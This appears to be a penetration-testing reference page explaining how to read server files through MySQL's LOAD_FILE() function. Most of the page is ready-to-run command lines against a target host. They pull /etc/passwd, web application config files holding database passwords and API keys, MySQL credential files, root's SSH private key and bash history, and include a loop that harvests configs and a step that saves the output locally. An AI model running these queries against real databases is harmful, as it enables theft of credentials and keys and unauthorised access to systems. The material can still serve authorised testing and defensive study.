Skip to content
HackIndex logo

HackIndex

MySQL File Read with LOAD_FILE

2 min read Mar 26, 2026

The MySQL LOAD_FILE() function reads a file from the server filesystem and returns its contents as a string. With FILE privilege and no secure_file_priv restriction, this reads any file the MySQL process user can access. On a typical Linux deployment the MySQL process runs as the mysql OS user which can read world-readable files including most configuration files, application source, and credential stores. This technique requires no shell access and works entirely through SQL queries.

Confirm FILE privilege is present and secure_file_priv is empty before proceeding. See the FILE privilege detection page.

Read Standard System Files

Start with files that are always readable and confirm the technique works:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/passwd');"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/hostname'); SELECT LOAD_FILE('/etc/hosts'); SELECT LOAD_FILE('/proc/version');"

Read Application Configuration Files

Application config files typically contain database credentials, API keys, and internal service addresses. Target common locations based on what the web server is running:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/var/www/html/wp-config.php');"
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'SuperSecret123!');
define('DB_HOST', 'localhost');
┌──(kali㉿kali)-[~]
└─$ for path in '/var/www/html/config.php' '/var/www/html/.env' '/var/www/html/app/config/database.php' '/var/www/html/configuration.php' '/etc/phpmyadmin/config.inc.php'; do echo "--- $path ---"; mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -e "SELECT LOAD_FILE('$path');"; done

Read MySQL Configuration and Credential Files

The MySQL configuration file and credential files on the host may contain additional credentials or replication passwords:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf'); SELECT LOAD_FILE('/root/.my.cnf'); SELECT LOAD_FILE('/home/mysql/.my.cnf');"

Read SSH Keys and Sensitive Home Directory Files

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/root/.ssh/id_rsa'); SELECT LOAD_FILE('/root/.ssh/authorized_keys'); SELECT LOAD_FILE('/root/.bash_history');"

Save Output to a Local File

For large files or automated collection, redirect output directly to a local file:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/etc/passwd');" > /tmp/target-passwd.txt

-s suppresses the column header and -N omits the field names, giving clean file content output suitable for saving directly.

Troubleshoot NULL Returns

If LOAD_FILE returns NULL despite FILE privilege being confirmed, check the following:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW VARIABLES LIKE 'secure_file_priv'; SHOW VARIABLES LIKE 'max_allowed_packet';"

A non-empty secure_file_priv restricts reads to a specific directory. A low max_allowed_packet silently truncates or blocks large file reads. If the path is restricted, target files within the allowed path — often /var/lib/mysql-files/ on modern installations. If max_allowed_packet is the issue, increase it in the session: SET GLOBAL max_allowed_packet=1073741824; (requires SUPER or SYSTEM_VARIABLES_ADMIN privilege).

References